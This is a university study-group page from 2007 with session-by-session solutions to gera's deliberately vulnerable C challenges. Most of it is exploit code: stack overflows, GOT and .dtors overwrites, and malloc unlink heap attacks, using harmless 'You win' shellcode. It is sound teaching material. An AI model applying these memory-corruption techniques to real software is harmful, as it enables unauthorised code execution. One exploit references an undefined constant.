Open study group C vulnerabilities page
Submitted by Yves Younan on Thu, 2007-03-15 23:29
This page is related to the the open study group C vulnerabilities. Location: Distrinet Lab (2nd flood, Computer Science building, Celestijnenlaan 200A) Time: 19h15-21h15 on Tuesday. For the first few sesisons, we will be solving the challenges on gera's insecure programming page All programs should be compiled with gcc-2.95 and run on kernel 2.4, we will also be using glibc 2.3.2. Please note that debian uses glibc-2.3.2dsc1, this is version contains a patch which adds a check that makes exploitation harder. If needed I can supply you with .debs without the check. Session 1: The presentation for the first session: Cstudy.ppt. The first 4 challenges of "WARMING UP on STACK" were solved: Solutions: stack1: perl -e 'print "A"x80; print "DCBA"' | ./stack1 stack2: perl -e 'print "A"x80; printf("%c%c%c%c", 5, 3, 2, 1)' | ./stack2 stack3: perl -e 'print "A"x80; printf("%c%c%c%c", 5, 0, 2, 1)' | ./stack3 stack4: Here we can't generate the correct value because the gets will terminate on '\n'. Instead we can overwrite the return address and jump to the instruction right after the if. Loading the program into gdb and typing: disas main will allow us to find the address of this instruction. C program: #define RET 0x0804846a int main() { char buffer[92]; memset(buffer, '\x90', 92); *(long *)&buffer[88] = RET; printf(buffer); } Run with: ./exploit4 | ./stack4 Reading for the next session: Chapter 5.1 of An overview of common programming vulnerabilities and possible solutions by Yves Younan Smashing the stack for fun and profit by Aleph 1 Buffer overflows demystified by Murat Balaban Preparation for session 2: 1) Try to solve stack 5. Hints: This is a real code injection attack. Example shellcode that can be used for the challenges: static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly Which does the following: .globl main .type main, @function main: push $0x9 # \n, but this will terminate gets, so work around by addl $1, (%esp) # pushing 9 and adding 1 push $0x216E6977 # push: !niw push $0x20756f79 # push: ouy xor %ebx, %ebx # empty to avoid null byte when using mov %ebx mov $0x1, %bl # set up arguments to write() mov %esp, %ecx xor %edx, %edx mov $0x9, %dl xor %eax, %eax mov $0x4, %al # we want the write systemcall int $0x80 # system call xor %ebx, %ebx # the code has to stop some time... mov $0x1, %al # exit cleanly by calling exit(0) int $0x80 Which is functionally equivalent to: int main() { printf("You win\n"); exit(0) } One more tip: the program will print out all the information you need to exploit it, no need to use gdb. Session 2: The presentation for the second session: Cstudy2.ppt The fifth challenge of "WARMING UP on STACK" was solved: #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly // This is the value 'buf' that is printed out by stack5.c #define RET 0xbffffce4 int main() { char buffer[93]; int ret; memset(buffer, '\x90', 92); memcpy(buffer, shellcode, strlen(shellcode)); *(long *)&buffer[88] = RET; // Terminate strcpy buffer[92] = 0; printf(buffer); } The first challenge of "ADVANCED BUFFER OVERFLOWS" was done: First we must find out where in memory the buffer is, simply putting a printf in abo1 is the easiest way of accomplishing it (note that depending on the environment passed, the stack address of the buffer will be very different, so try it when executing the program from within your exploit) Example execve: #include <unistd.h> int main (int argc, char **argv) { char *execargv[3] = { "/bin/ls", "--color=always", NULL }; char *env[2] = { "TEST=1", NULL }; execve(execargv[0],execargv,env); } Solution: #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly #define RET 0xbffffce8 int main (int argc, char **argv) { char buffer[265]; char *execargv[3] = { "./abo1", buffer, NULL }; char *env[2] = { NULL }; memset(buffer, '\x90', 264); memcpy(buffer, shellcode, strlen(shellcode)); *(long *)&buffer[260] = RET; // Terminate strcpy buffer[264] = 0; execve(execargv[0],execargv,env); } Preparation for session 3: 1) Try to use the technique of placing the shellcode in the environment on abo1. 2) Take a look at abo2 and figure out how you would go about exploiting it. Solution: Using the environment shellcode is fairly simple: ret = STACKSTART - 4 (four nulls on the stack) - length program name - 1 (null to terminate program name that strlen will not count) - environment size (length shellcode in our example) ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); So the abo1 exploit becomes: #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly int main (int argc, char **argv) { char buffer[265]; char *execargv[3] = { "./abo1", buffer, NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); printf ("return address is %#10x", ret); memset(buffer, '\x90', 264); *(long *)&buffer[260] = ret; // Terminate strcpy buffer[264] = 0; execve(execargv[0],execargv,env); } abo2 is not exploitable on Linux on x86. There's nothing interesting we can overwrite on the stack that would influence exit(). Session 3: In session 3, abo3 and abo4 were solved. Solutions: abo3 contains an exit, so overflowing the return address will not work. It is however possible to overwrite the function pointer in this program. #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly int main (int argc, char **argv) { char buffer[261]; char *execargv[4] = { "./abo3", buffer, "/bin/bash" ,NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); printf ("return address is %#10x", ret); memset(buffer, '\x90', 260); *(long *)&buffer[256] = ret; // Terminate strcpy buffer[260] = 0; execve(execargv[0],execargv,env); } abo4 requires an indirect pointer overwrite to exploit: it is not possible to directly overflow the function pointer, because it is no longer located on the stack. However, pbuf is a data pointer that is located on the stack and can be overflowed, so we use an overflow of buf to make pbuf point to fn and then use the second strcpy to copy the information over buf (the second strcpy is just a copy, not an overflow). Use: "objdump -t abo4 | grep fn" to find out the address of fn. #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly #define FN 0x080496a0 int main (int argc, char **argv) { char buffer[261]; char retaddr[4]; char *execargv[5] = { "./abo4", buffer, retaddr, "/bin/bash" ,NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); memset(buffer, '\x90', 260); *(long *)&buffer[256] = FN; // Terminate strcpy buffer[260] = 0; *(long *)&retaddr = ret; execve(execargv[0],execargv,env); } Preparation for session 4: 1) Read section 6.1 of Exploiting Format String Vulnerabilities by scut Sessions 4 and 5: In sessions 4 and 5, abo5 and abo6 were solved. Solutions: abo5 contains an exit(), right after the overflow, so we can't overwrite data on the stack, we must overwrite another location. Here are 2 sample exploits for this vulnerability: - The first overwrites the GOT entry for exit, so that our code will be executed instead of the exit function call - The second overwrites a DTORS entry, so when the program exits, our code will be called as a destructor function Exploit 1 for abo5: #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly // GOT entry for exit() #define EXIT 0x0804974c int main (int argc, char **argv) { char buffer[261]; char retaddr[4]; char *execargv[5] = { "./abo5", buffer, retaddr, "/bin/bash" ,NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); memset(buffer, '\x90', 260); *(long *)&buffer[256] = EXIT; // Terminate strcpy buffer[260] = 0; *(long *)&retaddr = ret; execve(execargv[0],execargv,env); } Exploit 2 for abo5: #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly // DTORS 'termination' (4 NULLS) #define DTORS 0x08049728 int main (int argc, char **argv) { char buffer[261]; char retaddr[5]; char *execargv[5] = { "./abo5", buffer, retaddr, "/bin/bash" ,NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); memset(buffer, '\x90', 260); *(long *)&buffer[256] = DTORS; // Terminate strcpy buffer[260] = 0; *(long *)&retaddr = ret; // DTORS must terminate with a NULL retaddr[4] = 0; execve(execargv[0],execargv,env); } In abo6 nothing in the datasegment or stack can be overwritten because the program will go into an endless loop right after the second strcpy. However, the first strcpy allows us to point pbuf to the second strcpy's return address and the second strcpy will then overwrite it's own return address by copying our input into pbuf. This exploit is very fragile: the exact location of the return address must be determined (kind of like determining where the shellcode is in stack5 and abo1). #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly // Address of buf - 40 (distance of buf to return address) #define BUF 0xbffffb6c int main (int argc, char **argv) { char buffer[261]; char retaddr[4]; char *execargv[5] = { "./abo6", buffer, retaddr, "/bin/bash" ,NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); memset(buffer, '\x90', 260); *(long *)&buffer[256] = BUF; // Terminate strcpy buffer[260] = 0; *(long *)&retaddr = ret; execve(execargv[0],execargv,env); } Preparation for session 6: 1) Read Overwriting the .dtors section by Juan M. Bello Rivas 2) Read chapter 5.2 of An overview of common programming vulnerabilities and possible solutions by Yves Younan and/or 3) Read section 3.1 of Security of Memory Allocators for C and C++ by Yves Younan, Wouter Joosen and Frank Piessens and Hans Van den Eynden Session 6: In this session, we solved abo7 and abo8. abo7: This is a fairly simple overflow in the data section. We can overflow from there into the dtors section and write a pointer to our code in it. We can find the location in the datasection of our buf by doing: objdump -t abo7 | grep buf The location of the dtors section is found similarly: objdump -x abo7 | grep -i dtors We can now calculate the distance between the two, and overwrite the correct location. #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly int main (int argc, char **argv) { char buffer[476]; char *execargv[3] = { "./abo7", buffer, NULL }; char *env[2] = { shellcode, NULL }; int ret; // Calculate the stack address of the shellcode ret = 0xBFFFFFFF - 4 - strlen (execargv[0]) - 1 - strlen (shellcode); memset(buffer, '\x90', 476); *(long *)&buffer[472] = ret; execve(execargv[0],execargv,env); } abo8: This is an overflow in the bss section. Unlike the data section it does not have sections stored behind it. However malloc will start allocating heap space behind the bss section, so this could be overwritten by an overflow in this section. Any pointers in this section are also a possible attack vector. Abo8 does not contain any of these, so it is not exploitable. Preparation for session 7: 2) Read chapter 5.2 of An overview of common programming vulnerabilities and possible solutions by Yves Younan 2) Linux (Doug Lea) malloc exploitation of Once upon a free() by anonymous 3) Vudo - An object superstitiously believed to embody magical powers by Michel "MaXX" Kaempf Session 7: Sample program: #include <stdio.h> #include <string.h> #include <unistd.h> int function(char **argv) { char *a = (char *)malloc(100); char *b = (char *)malloc(100); // make sure a is not next to top printf("a is at %p and its stack location is at %p\n", a, &a); printf("return address is at %p = %p\n", (&a + 2) ,*(&a + 2)); strcpy(a,argv[1]); free(a); printf("return address is at %p = %p\n", (&a + 2) ,*(&a + 2)); } int main(int argc, char **argv) { function(argv); } Solution for the sample program: #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly #define RETLOC 0xbffffe5c // location of the return address the value at // this location will be overwritten with ADDR #define ADDR 0x8049850 // location of the shellcode int main() { char *argv[3]; char shellcode2[112]; memset(shellcode2,'\x90',112); // in reality we need to skip 12, but the jump code takes up 2 bytes shellcode2[8] = '\xeb'; // jump shellcode2[9] = '\x0a'; // 10 bytes memcpy(shellcode2+20, shellcode, strlen(shellcode)); // In our example the requested space + 4 is exactly a multiple of 8 so malloc will not // add any padding bytes, meaning the next chunk lies directly next to ours. // It also means that the prev size of the next chunk will completely be part of the // data of this chunk so we begin writing at allocsize - 4. // We cant write NULL bytes but we need a value that is safe to add to a pointer *(long *)&shellcode2[96] = 0xfffffffc; // prev size // The value here is -4, because we need the least 2 significant bytes to be 0 and we // also can not write any NULL values as this would stop the strcpy. // This will cause the chunk to look at itself when trying to find its PREV INUSE // chunk (address of next chunk + size + 4) *(long *)&shellcode2[100] = 0xfffffffc; // size *(long *)&shellcode2[104] = RETLOC - 12; // location of return address // free overwrites the first 8 bytes of a, for the forward and back pointers, // so we can only start writing 8 bytes further. *(long *)&shellcode2[108] = ADDR + 8; // location of shell code argv[0] = "./malloc1"; argv[1] = shellcode2; argv[2] = NULL; execve(argv[0],argv,0); } In this sample program the consolidate forward code of the free function call of malloc was exploited. Session 8: The code of the memory allocator could be interesting for abo9, especially the function _int_free() In this session abo9 was solved. The consolidate backward code of the free function call of malloc was exploited to overwrite the GOT entry for free #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\xeb\x0d\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly #define BUF1 0x80497b8 #define FREE 0x080496ec int main (int argc, char **argv) { char buffer[300]; memset(buffer, '\x41', 300); memcpy(buffer+8,shellcode,strlen(shellcode)); // next chunk = buffer[256] + size // 256-8 = 248 // so buffer[248] is next chunk // now we need the size field of this chunk 248+4 = 252 *(long *)&buffer[252] = 0xfffffff9; // size field of next chunk // start of chunk *(long *)&buffer[256] = 0xfffffff8; // prevsize *(long *)&buffer[260] = 0xfffffff8; // size // writable p starts at 264 // /* consolidate backward */ // if (!prev_inuse(p)) { // prevsize = p->prev_size; // size += prevsize; // p = chunk_at_offset(p, -((long) prevsize)); // unlink(p, bck, fwd); // } // we're building a fake chunk // p - -8 find chunk at p+8, so 256+8 is start of chunk // prevsize and size at this chunk are unimportant // we need fd and bk there, so 256+8 = 264 // 264 + 8 = fd, and 264+12 = bk // p->fd *(long *)&buffer[272] = FREE-12; // p->bk *(long *)&buffer[276] = BUF1; // terminate buffer buffer[280] = 0; printf("%s\n", buffer); } Abo10 is similar to this exploit, except that the overflow is in the bss section, which allows an attacker to overwrite a malloc'ed chunk Dtors is not used as a target because it needs a null to terminate it, which we would overwrite. Instead we overwrite the return address of main. #include <stdio.h> #include <string.h> #include <unistd.h> static char shellcode[] = "\xeb\x0d\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x6a\x09\x83\x04\x24\x01\x68\x77" // put stuff on stack "\x69\x6e\x21\x68\x79\x6f\x75\x20" "\x31\xdb\xb3\x01\x89\xe1\x31\xd2" "\xb2\x09\x31\xc0\xb0\x04\xcd\x80" //print out "\x32\xdb\xb0\x01\xcd\x80"; // exit cleanly // actually buf+4 #define BUF1 0x8049704 #define RET 0xbffffd4c int main (int argc, char **argv) { char buffer[500]; memset(buffer, '\x41', 500); memcpy(buffer+4,shellcode,strlen(shellcode)); // next chunk = buffer[328] + size // 328-8 = 320 // so buffer[248] is next chunk // now we need the size field of this chunk 320+4 = 324 *(long *)&buffer[324] = 0xfffffff9; // size field of next chunk // start of chunk *(long *)&buffer[328] = 0xfffffff8; // prevsize *(long *)&buffer[332] = 0xfffffff8; // size // writable p starts at 336 // /* consolidate backward */ // if (!prev_inuse(p)) { // prevsize = p->prev_size; // size += prevsize; // p = chunk_at_offset(p, -((long) prevsize)); // unlink(p, bck, fwd); // } // we're building a fake chunk // p - -8 find chunk at p+8, so 328+8 is start of chunk // prevsize and size at this chunk are unimportant // we need fd and bk there, so 328+8 = 336 // 336 + 8 = fd, and 336+12 = bk // p->fd *(long *)&buffer[344] = FREE-12; // p->bk *(long *)&buffer[348] = BUF1; // terminate buffer buffer[352] = 0; printf("%s\n", buffer); } Preparation for session 9: 1) Read Exploiting Format String Vulnerabilities by scut 2) Read chapter 5.5 of An overview of common programming vulnerabilities and possible solutions by Yves Younan Sample program: #include <stdio.h> #include <string.h> #include <unistd.h> void formatvuln(char *fstr) { char buf[512]; printf("buf is at %p\n", buf); snprintf(buf,512,fstr); buf[511] = 0; printf("%s",buf); } int main(int argc, char **argv) { formatvuln(argv[1]); }
| Attachment | Size |
|---|---|
| Cstudy.ppt | 136 KB |
| Cstudy2.ppt | 123.5 KB |
| formatstring-1.2.pdf | 228.89 KB |
| malloc.c | 166.5 KB |
